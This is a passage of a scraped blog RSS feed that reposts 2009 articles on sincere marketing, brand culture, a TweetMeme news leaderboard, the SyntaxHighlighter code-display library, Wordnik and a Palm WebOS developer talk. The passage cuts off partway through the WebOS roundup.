<p>When you think about today&#8217;s business climate, sincerity isn&#8217;t a quality that comes to mind. But it&#8217;s a quality human beings need to perceive to be willing and able to buy.</p>
<p>The Place of Sincerity in Your Marketing</p>
<p>First, it&#8217;s important to remember the real role of marketing in your business.</p>
<p>Marketing is NOT about making a sale. Marketing is about creating a relationship based in trust and safety so that a sale can occur.</p>
<p>Regardless of public sentiment towards business, people and companies still have problems that need to be solved and stuff that has to get done. Your prospective customers still need to buy stuff.</p>
<p>They want to be able to trust you because they need to buy what you sell.</p>
<p>The marketing you do is all about establishing visibility and credibility so that there&#8217;s enough trust for the purchase to happen.</p>
<p>For example, if you regularly keep in touch with prospects via an ezine, you&#8217;re not doing it to &#8220;bug&#8221; your customers. You&#8217;re sending out that ezine because:</p>
<ul>
<li>You can remind them that &#8220;Hey, I help people just like you solve these kinds of problems.&#8221;</li>
<li>You can offer examples and helpful information about the kind of problems you solve (&#8221;Here&#8217;s an example of how I helped a customer&#8221;)</li>
<li>Or you provide helpful information for your prospects to better understand what they need to do to improve their situation.</li>
</ul>
<p>Once prospective customers feel accepted for where they&#8217;re at and trust you can actually help, they can then take the next step.</p>
<p><strong>It&#8217;s About Sustainable, Effective Marketing</strong></p>
<p>Now there are also some relatively good-hearted entrepreneurs out there who use hard-sell tactics in their marketing. You subscribe to their ezine and get barraged with multiple emails every day telling you about some amazing program you &#8220;just gotta check out.&#8221;</p>
<p>Here&#8217;s what&#8217;s important: there is no rest with this kind of marketing. You must work very, very hard to generate this level of noise.</p>
<p>And if you&#8217;re spending so much time and energy with your own marketing, it&#8217;s tough to put much time or effort into where&#8211;in my opinion&#8211;we should be making the difference: helping clients and customers get results.</p>
<p>That, to me, is why hype-centered marketing with or without a good heart fails. If you want to market your business in a way that brings in a steady stream of ideal customers without burning yourself into a crispy critter, sincere, heart-centered marketing is the way to go.</p>
<p>Keys to Developing Sincere, Effective, Sustainable Marketing</p>
<p><strong>#1. Ask yourself, &#8220;what&#8217;s my highest intention for my business?&#8221;</strong></p>
<p>What&#8217;s the best possible outcome for you, for your business, and for your customer?</p>
<p>Example: the highest intention for Highly Contagious Marketing is when we help clients create marketing that grows their client base and their bottom line.</p>
<p>When that happens, satisfied clients send us referrals which helps Highly Contagious Marketing succeed financially and there are more successful businesses in the world making a positive difference.</p>
<p><strong>#2. Look at how your intention is reflected in your marketing?</strong></p>
<p>Thinking of the many different ways you market your business, how is your intention showing up?</p>
<p>Example: In all the activities to promote Highly Contagious Marketing, I want to:</p>
<ul>
<li>Provide information, a how-to, or a resource that gives the person who gets the marketing a little added value</li>
<li>Provide an offer and a clear call to action for anyone wanting to take the next step and get more help from us.</li>
</ul>
<p><strong>#3. Ask what one change can you make to your marketing to express your sincere desire to serve customers and make a difference?</strong></p>
<p>Some specific actions you can take to show more sincerity in your marketing include:</p>
<ul>
<li>Make your marketing message truly focused on your customer and their current problem. The first half of your message should be about your customer and their situation. If you&#8217;re talking about yourself&#8211;your solutions and qualifications, your marketing is not focused on the customer.</li>
<li>Look for ways to leave anyone who encounters your marketing a little better off than they were before the encounter. Marketing that informs, coaches, inspires, even entertains all leave recipients a little better off.</li>
<li>Make sure your marketing reflects your values and if not, make changes. If you loathe hype in other marketing but use hype because &#8220;that&#8217;s what everyone says I have to do,&#8221; stop using hype. Create marketing that gets results without making you feel like you sold your soul.</li>
</ul>
<p><strong>Bottom Line</strong></p>
<p>Remember, marketing is all about cultivating trust-based relationships so prospects can buy. And sincerity is a critical factor which enables trust to grow.</p>
<p>Can you market your products and services without sincerity? Sure. But you will have to work a lot harder to sustain sales because you won&#8217;t be creating the quality relationships that give your marketing real momentum.</p>
<p>To create marketing in which sincerity shines through, take some time to remember what your business is in service for and take action so that your marketing better reflects what matters to you.</p>
<hr />
Judy Murdoch helps small business owners create low-cost, effective marketing campaigns using word-of-mouth referrals, guerrilla marketing activities, and selected strategic alliances. To download a free copy of the workbook, &#8220;Where Does it Hurt? Marketing Solutions to the problems that Drive Your Customers Crazy!&#8221; go to <a href="http://www.judymurdoch.com/workbook.htm" target="_blank">http://www.judymurdoch.com/workbook.htm</a> You can contact Judy at 303-475-2015 or <a href="mailto:judy@judymurdoch.com" target="_blank">judy@judymurdoch.com</a></p>
<p>Post from: <a href="http://www.sitepronews.com">SiteProNews: Webmaster News &amp; Resources</a></p>
<p><a href="http://www.sitepronews.com/2009/11/16/the-secret-sauce-for-effective-marketing/">The &#8216;Secret Sauce&#8217; for Effective Marketing</a></p>
<p><a href="http://www.sitepronews.com/feed/">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-%e2%80%98secret-sauce%e2%80%99-for-effective-marketing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Knowing the culture of your brand</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/knowing-the-culture-of-your-brand/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/knowing-the-culture-of-your-brand/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 14:31:04 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Graphics]]></category>
		<category><![CDATA[Images]]></category>
		<category><![CDATA[photoshop]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Brand]]></category>
		<category><![CDATA[brand message]]></category>
		<category><![CDATA[Brand
Go]]></category>
		<category><![CDATA[company]]></category>
		<category><![CDATA[customer]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[free range eggs]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[meaningful relationship]]></category>
		<category><![CDATA[passionate followers]]></category>
		<category><![CDATA[values and beliefs]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/knowing-the-culture-of-your-brand/</guid>
		<description><![CDATA[A brand is a symbol by that people can use to create, learn, and develop their beliefs about life; a brand is like a culture. The brand is meaningless by itself, but people can use it as a means to represent a set of signs and rules that demonstrate how people differ from one another. [...]]]></description>
			<content:encoded><![CDATA[<div><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Ftheprodesigner.com%2Fknowing-the-culture-of-your-brand%2F"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5d158_imagebutton.gif?url=http%3A%2F%2Ftheprodesigner.com%2Fknowing-the-culture-of-your-brand%2F" height="61" width="51" /></a></div>
<p>A brand is a symbol by that people can use to create, learn, and develop their beliefs about life; a brand is like a culture. The brand is meaningless by itself, but people can use it as a means to represent a set of signs and rules that demonstrate how people differ from one another. If you want your brand to connect with other people then you must provide this brand with a meaning.</p>
<p><img class="aligncenter size-full wp-image-777 frame" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/74e0d_culture-brand.gif" alt="culture-brand" width="550" height="150" /></p>
<p>It is natural that a company wants to make a profit, but it is also vital that a company has a good understanding about its core values and beliefs.<span></span> There needs to be awareness about the meaning and value their product has in society and to feel passionate about these products. These values and beliefs need to motivate every decision that the company makes. The beliefs and values are transmitted through the brand, and this is the whole purpose of having a brand.</p>
<p>For the brand message to be successful it must be consistent. Where there is real honesty and sincerity behind a brand this causes customers to be attracted to it and become passionate followers; this is due to the fact that they share the same values and beliefs and feel ownership over them. This leads to the brand becoming part of their identity and the culture surrounding the brand will become part of their life.  <em><strong>For example</strong></em>, if the brand stands for quality and style then the customer will also feel these qualities within themselves and there will now be a strong and meaningful relationship between the brand and the customer.</p>
<p><strong><em>People are always looking for a feeling of connection and a sense of belonging</em></strong></p>
<p>People mostly want their life to have meaning and to do the moral thing; they often feel the need to contribute and make a difference in the world. They want to be associated with brands that think about life in the same way as they do. An example of this is free range eggs; people will pay a lot more for a product if it represents their hopes and aspirations.</p>
<p><strong>An example of a company that lives its brand values is Johnston &amp; Johnston.</strong> This company really demonstrates a great deal of interest in the welfare of its consumers. These values influence all the decisions the company makes and this has led to a strong sense of loyalty from employees and consumers who want to be associated with the brand.</p>
<p><a href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Ftheprodesigner.com%2Fknowing-the-culture-of-your-brand%2F&amp;linkname=Knowing%20the%20culture%20of%20your%20brand"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/38cad_share_save_256_24.png" width="256" height="24" alt="Share/Save/Bookmark" /></a></p>
<p>Related posts:
<ol>
<li><a href="http://theprodesigner.com/branding-for-the-green-conscious-consumer/" rel="bookmark" title="Permanent Link: Branding for the green conscious consumer">Branding for the green conscious consumer</a></li>
<li><a href="http://theprodesigner.com/the-5-stages-of-how-a-customer-experiences-your-brand/" rel="bookmark" title="Permanent Link: The 5 stages of how a customer experiences your brand">The 5 stages of how a customer experiences your brand</a></li>
<li><a href="http://theprodesigner.com/the-creation-of-a-winning-brand/" rel="bookmark" title="Permanent Link: The Creation of a Winning Brand">The Creation of a Winning Brand</a></li>
</ol>
<p><a href="http://feeds2.feedburner.com/TheProDesigner">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/tutorial/knowing-the-culture-of-your-brand/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Top 100 Twitter News Sources [Stats]</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-top-100-twitter-news-sources-stats/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-top-100-twitter-news-sources-stats/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 21:18:22 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[CNN]]></category>
		<category><![CDATA[daily basis]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[future trends]]></category>
		<category><![CDATA[leaderboard]]></category>
		<category><![CDATA[Mashable]]></category>
		<category><![CDATA[TweetMeme]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-top-100-twitter-news-sources-stats/</guid>
		<description><![CDATA[We&#8217;re always interested in understanding the habits, preferences, and future trends of Twitter and its users. For example, we were fascinated by a report listing the most engaging celebrities on Twitter, and by a new site that analyzes the 50 hottest brands on Twitter on a daily basis. And as of today, we now know [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://api.tweetmeme.com/share?url=http://mashable.com/2009/11/09/top-100-twitter-news-sources/&amp;service=bit.ly"><img width="51" height="61" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3c9e1_top-100-twitter-news-sources" align="right" /></a>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/3c9e1_tweet-leaderboard.jpg" align="right">We&#8217;re always interested in understanding the habits, preferences, and future trends of Twitter and its users.  For example, we were fascinated by a report listing the <a href="http://mashable.com/2009/10/20/twitter-celebrity-stats/">most engaging celebrities on Twitter</a>, and by a new site that analyzes <a href="http://mashable.com/2009/10/30/tweetedbrands/">the 50 hottest brands on Twitter</a> on a daily basis.  And as of today, we now know about the most-shared news sources on the microblogging platform.</p>
<p>TweetMeme, the service that finds the most-shared content on Twitter based on retweets (and powers the retweet buttons you always see on Mashable), has just launched the <a href="http://tweetmeme.com/leaderboard" target="_blank">TweetMeme Leaderboard</a>, which lists the news sources that appear most frequently on TweetMeme.  It utilizes a ranking system of &#8220;Presence,&#8221; which factors in the % of time each story appears on TweetMeme and the length of time a source tends to appear on the front page or category pages.<br />
<span></span><br />
<img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5af4a_tweetmeme-leaderboard.jpg"></p>
</p>
<p>The leaderboard seems to be a great way to gain a quick insight into the sharing habits of users on Twitter.  We may have a little bias though, since Mashable is ranked #1 on the TweetMeme leaderboard <img src='http://cdn.mashable.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   Regardless, it&#8217;s interesting to learn that, for example, TwitPic.com has over 1,000,000 retweets or that Mashable, The Guardian and CNET rank above CNN in terms of Twitter presence.</p>
<p>What do you think of these rankings?  Check them out and then let us know in the comments.</p>
<p>[via <a href="http://thenextweb.com/appetite/2009/11/09/tweetmeme-launches-retweet-leaderboard/" target="_blank">thenextweb</a>]</p>
<hr />Reviews: <a href="http://www.blippr.com/apps/337174-Mashable" target="_blank">Mashable</a>, <a href="http://www.blippr.com/apps/452859-Tweetmeme" target="_blank">Tweetmeme</a>, <a href="http://www.blippr.com/apps/337621-Twitpic" target="_blank">Twitpic</a>, <a href="http://www.blippr.com/apps/336651-Twitter" target="_blank">Twitter</a></p>
<p>Tags: <a href="http://mashable.com/tag/leaderboard/">leaderboard</a>, <a href="http://mashable.com/tag/tweetmeme/">tweetmeme</a>, <a href="http://mashable.com/tag/twitter/">twitter</a></p>
<p><a href="http://feedads.g.doubleclick.net/~at/wORUPDALLxXmhIrc_5tz2i8xBfw/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/41882_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~at/wORUPDALLxXmhIrc_5tz2i8xBfw/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/41882_di" border="0"></img></a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/41882_Mashable?i=xSl8G1I0PNQ:wPf3nQspzg4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/41882_Mashable?i=xSl8G1I0PNQ:wPf3nQspzg4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/41882_Mashable?i=xSl8G1I0PNQ:wPf3nQspzg4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4ee43_Mashable?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:_e0tkf89iUM"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4ee43_Mashable?d=_e0tkf89iUM" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4ee43_Mashable?i=xSl8G1I0PNQ:wPf3nQspzg4:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4ee43_Mashable?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:P0ZAIrC63Ok"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4ee43_Mashable?d=P0ZAIrC63Ok" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:I9og5sOYxJI"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4ee43_Mashable?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:CC-BsrAYo0A"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/67aa2_Mashable?d=CC-BsrAYo0A" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=xSl8G1I0PNQ:wPf3nQspzg4:_cyp7NeR2Rw"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/67aa2_Mashable?i=xSl8G1I0PNQ:wPf3nQspzg4:_cyp7NeR2Rw" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/Mashable">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-top-100-twitter-news-sources-stats/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Client Side Code Highlighting Made Easy</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/client-side-code-highlighting-made-easy/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/client-side-code-highlighting-made-easy/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 20:11:31 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[Alex Gorbatchev]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[google search]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[html representations]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python syntax]]></category>
		<category><![CDATA[Ruby]]></category>
		<category><![CDATA[server side solutions]]></category>
		<category><![CDATA[syntax highlighter]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/client-side-code-highlighting-made-easy/</guid>
		<description><![CDATA[I have recently been working on a little out of hours PHP project called &#8220;Dummy&#8220;. The code is almost complete, apart from the obligatory prettifying of indents and comments, which means it&#8217;s time to turn my attention to the online documentation. As part of the &#8220;How to Use&#8221; page I need to show small PHP [...]]]></description>
			<content:encoded><![CDATA[<div><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fcarsonified.com%2Fblog%2Fdev%2Fclient-side-code-highlighting-made-easy%2F"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9d578_imagebutton.gif?url=http%3A%2F%2Fcarsonified.com%2Fblog%2Fdev%2Fclient-side-code-highlighting-made-easy%2F" height="61" width="51" /></a></div>
<p>I have recently been working on a little out of hours PHP project called &#8220;<em>Dummy</em>&#8220;. The code is almost complete, apart from the obligatory prettifying of indents and comments, which means it&#8217;s time to turn my attention to the online documentation.</p>
<p>As part of the &#8220;How to Use&#8221; page I need to show small PHP code examples. I also want them to look very readable and be easy to copy and paste. Hand cranking each code snippet using &lt;span&gt;&#8217;s, spaces and CSS clearly isn&#8217;t the way to go, there has to be an easy way.<span></span></p>
<p><strong>Server Side Options</strong></p>
<p>Having used <a href="http://pygments.org/">Pygments</a> (a Python syntax highlighter) I had a quick look for PHP server side solutions and found two native PHP functions that could work.</p>
<ol>
<li><a href="http://php.net/manual/en/function.highlight-string.php">highlight_string();</a></li>
<li><a href="http://www.php.net/manual/en/function.highlight-file.php">highlight_file();</a></li>
</ol>
<p>Both produce HTML representations of the PHP code passed to them. However if you need to display JavaScript, HTML or CSS the output will be plain black text, albeit spaced and indented in the way that it was passed to the function. You will also need to deal with escaping certain characters in certain situations and a distinct separation between your HTML template and your code examples.</p>
<p><strong>Client Side Options</strong></p>
<p>My preferred approach would be to include the code examples in the HTML templates and use CSS to make them readable. After a quick <a href="http://www.google.com/search?ie=UTF-8&amp;oe=UTF-8&amp;sourceid=navclient&amp;gfns=1&amp;q=css+syntax+highlighter">Google search</a> I came across <a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter">SyntaxHighlighter</a> by Alex Gorbatchev. It&#8217;s a JavaScript and CSS solution thats&#8217;s fully featured, easy to implement and degrades nicely.</p>
<p>Here&#8217;s an example of a PHP code snippet using SyntaxHighlighter</p>
<p><img style="border: 1px solid black" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a6b8_php_syntax.png" alt="php_syntax" width="470" height="223" /></p>
<p>It works by including a few JavaScript and CSS files in your HTML template. You can customise the CSS or use one of the seven themes provided.</p>
<p>In order to apply highlighting to a section of HTML it&#8217;s recommended to wrap your example in &lt;pre&gt; tags to preserve the formatting. The final stage is to apply a pre-defined relevant CSS class to the &lt;pre&gt; tag.</p>
<p>For example if we wanted our example to be highlighted as PHP we would add <strong>class=&#8221;brush: php;&#8221; </strong>to the &lt;pre&gt; tag. To turn it into a JavaScript example we would add <strong>class=&#8221;brush: jscript;&#8221;</strong>.</p>
<p>I have set up an <a href="http://carsonified.com/libs/syntaxhighlighter/">example page</a> which shows HTML, CSS, JavaScript, PHP and XML highlighting in action. View the source to see how easy it is to implement.</p>
<p>There&#8217;s support for a huge list of languages including:</p>
<ul>
<li>ActionScript3</li>
<li>Bash/shell</li>
<li>C#</li>
<li>C++</li>
<li>CSS</li>
<li>Delphi</li>
<li>Diff</li>
<li>Groovy</li>
<li>JavaScript</li>
<li>Java</li>
<li>JavaFX</li>
<li>Perl</li>
<li>PHP</li>
<li>Plain Text</li>
<li>PowerShell</li>
<li>Python</li>
<li>Ruby</li>
<li>Scala</li>
<li>SQL</li>
<li>Visual Basic</li>
<li>XML</li>
</ul>
<p>SyntaxHighlighter also provides a nice pop up tool-tip (look at the right hand side of a code example when hovering over it) enabling you to view the code in a blank page, copy it to the clipboard or print it.</p>
<p>There are undoubtedly other solutions out there, if you have a preferred one that works for you please link it up in the comments.</p>
<div>
<a href="http://feeds.feedburner.com/~ff/vitaminmasterfeed?a=gRnSsMCeH2o:UGZRJL76Mq0:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a6b8_vitaminmasterfeed?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/vitaminmasterfeed?a=gRnSsMCeH2o:UGZRJL76Mq0:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a6b8_vitaminmasterfeed?i=gRnSsMCeH2o:UGZRJL76Mq0:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/vitaminmasterfeed?a=gRnSsMCeH2o:UGZRJL76Mq0:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/85572_vitaminmasterfeed?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/vitaminmasterfeed?a=gRnSsMCeH2o:UGZRJL76Mq0:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/85572_vitaminmasterfeed?i=gRnSsMCeH2o:UGZRJL76Mq0:F7zBnMyn0Lo" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/vitaminmasterfeed">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/client-side-code-highlighting-made-easy/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wordnik</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/wordnik/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/wordnik/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 16:36:19 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[comment]]></category>
		<category><![CDATA[definitions]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[example sentences]]></category>
		<category><![CDATA[hundreds of thousands]]></category>
		<category><![CDATA[online]]></category>
		<category><![CDATA[online dictionary]]></category>
		<category><![CDATA[synonyms and antonyms]]></category>
		<category><![CDATA[Tag]]></category>
		<category><![CDATA[Wordnik]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/wordnik/</guid>
		<description><![CDATA[Wordnik is a comprehensive online dictionary with hundreds of thousands of definitions, millions of example sentences, audio pronunciations, etymologies, synonyms and antonyms, and much more. Comment on and tag words, record pronunciations, and keep track of everything you look up. Go to Source]]></description>
			<content:encoded><![CDATA[<p>Wordnik is a comprehensive online dictionary with hundreds of thousands of definitions, millions of example sentences, audio pronunciations, etymologies, synonyms and antonyms, and much more. Comment on and tag words, record pronunciations, and keep track of everything you look up.<img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/08a98_Tx0ktvcMdN8" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/Listio-web20-directory-popular">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/wordnik/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WebOS Developer Event – Roundup</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/webos-developer-event-%e2%80%93-roundup/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/webos-developer-event-%e2%80%93-roundup/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:09:04 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[A]]></category>
		<category><![CDATA[Ben]]></category>
		<category><![CDATA[BONDI]]></category>
		<category><![CDATA[D CSS]]></category>
		<category><![CDATA[Dave]]></category>
		<category><![CDATA[dave thomas]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[distribution mechanism]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[final frontier]]></category>
		<category><![CDATA[fledged desktop]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[I. With]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[London]]></category>
		<category><![CDATA[obscure features]]></category>
		<category><![CDATA[Palm]]></category>
		<category><![CDATA[Platform]]></category>
		<category><![CDATA[Steven Levy]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/webos-developer-event-%e2%80%93-roundup/</guid>
		<description><![CDATA[Ben and Dion have just wrapped up a WebOS talk in London, in conjunction with O2 Litmus. They explained why Palm is using the web as an application platform (might be preaching to the converted on this website!) and covered some of the development issues and roadmap. Embracing The Web Ben and Dion open by [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://developer.palm.com/"><img alt="" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9e9d_palm-pre-webos.jpg" class="alignnone" width="300" height="385" /></a></p>
<p>Ben and Dion have just wrapped up a <a href="http://developer.palm.com/">WebOS</a> talk in London, in conjunction with O2 Litmus. They explained why Palm is using the web as an application platform (might be preaching to the converted on this website!) and covered some of the development issues and roadmap.</p>
<h3>Embracing The Web</h3>
<p>Ben and Dion open by discussing a panel Ben was on some years ago with Dave Thomas. Ben answered rich UIs, but Dave held up his mobile and said this is the future of software. And (according to Ben) Dave has been vindicated. Today, we have many, many, devices, and it&#8217;s tricky for us to target them as both developers (technically) and businesses (commercially).</p>
<p>But what&#8217;s interesting is the web browsers that have snuck into many of these platforms. The Ajax revolution changed the game for the first time, where you could build eral-world web apps. (screenshots: GMail, GMaps, GOffice, Bespin, 280slides.) It&#8217;s only happening just now, and pretty soon, the web will be a great place not just from portability of the code, but portability of the distribution mechanism.</p>
<p>Tools like Fluid, Mozilla Prism, give us a specialised browser for a web app. On the other end of the spectrum, we have tools like Adobe Air and Appcelerator Titanium that let developers build full-fledged desktop applications.</p>
<p>But why the web? How about other technologies like Silverlight and Flash? Well, the browser really hasn&#8217;t changed that much (Netscape screenshot). But underneath, the engine has changed dramatically. We&#8217;re going from the hacky world of the first browsers to one where developers will benefit greatly from the Javascript engines, renderers, and APIs available to us.</p>
<p>For example, with canvas, the ability to do dynamic graphics (nice demos). Likewise, SVGs. Custom typography; Firefox is rolling out support for even obscure features of fonts. Later in the presentation, Ben demonstrates further capabilities: OpenGL and 3D CSS transformations (<a href="http://www.satine.org/research/webkit/snowleopard/snowstack.html">more nice demos</a>); what Ben calls &#8220;the final frontier&#8221; of visual interfaces.</p>
<p>Faster Javascript engines are more than just incrased performance. As Steven Levy points out, when you increase something&#8217;s performance by an order of magnitude, you haven&#8217;t just increased the performance; you&#8217;ve created something new. So we have generational garbage collection, for example, which is a sign of the virtual machines maturing and becoming much faster.</p>
<p>Related to Javascript speed is threading. We don&#8217;t have threads and given opinions of the creator of Javascrpt, probably never will. But &#8220;browsers now have something that&#8217;s even better than threads&#8221;: web workers. It&#8217;s used in different ways; for example, Chrome exgensions can run in their own process this way. Another example is running a database server like sqllite in a separate process.</p>
<p>So does the web have the capabilities for today&#8217;s and tomorrow&#8217;s applicatons? There&#8217;s a huge user base and a huge developer based &#8211; more developers than any other platform. Some people still think of Javascript as a toy, but when they get into it, they often realise it&#8217;s actually quite good, and it&#8217;s not Javascript they don&#8217;t like, but things like browser incompatibilities that are troublesome.</p>
<h3>Development Details</h3>
<p>Web developers can use the Mojo framework, which provides simple Prototype based APIs. Notifications are HTML controls themselves, so you can put whatever HTML you want inside it. Security-wise, applications can get different powers</p>
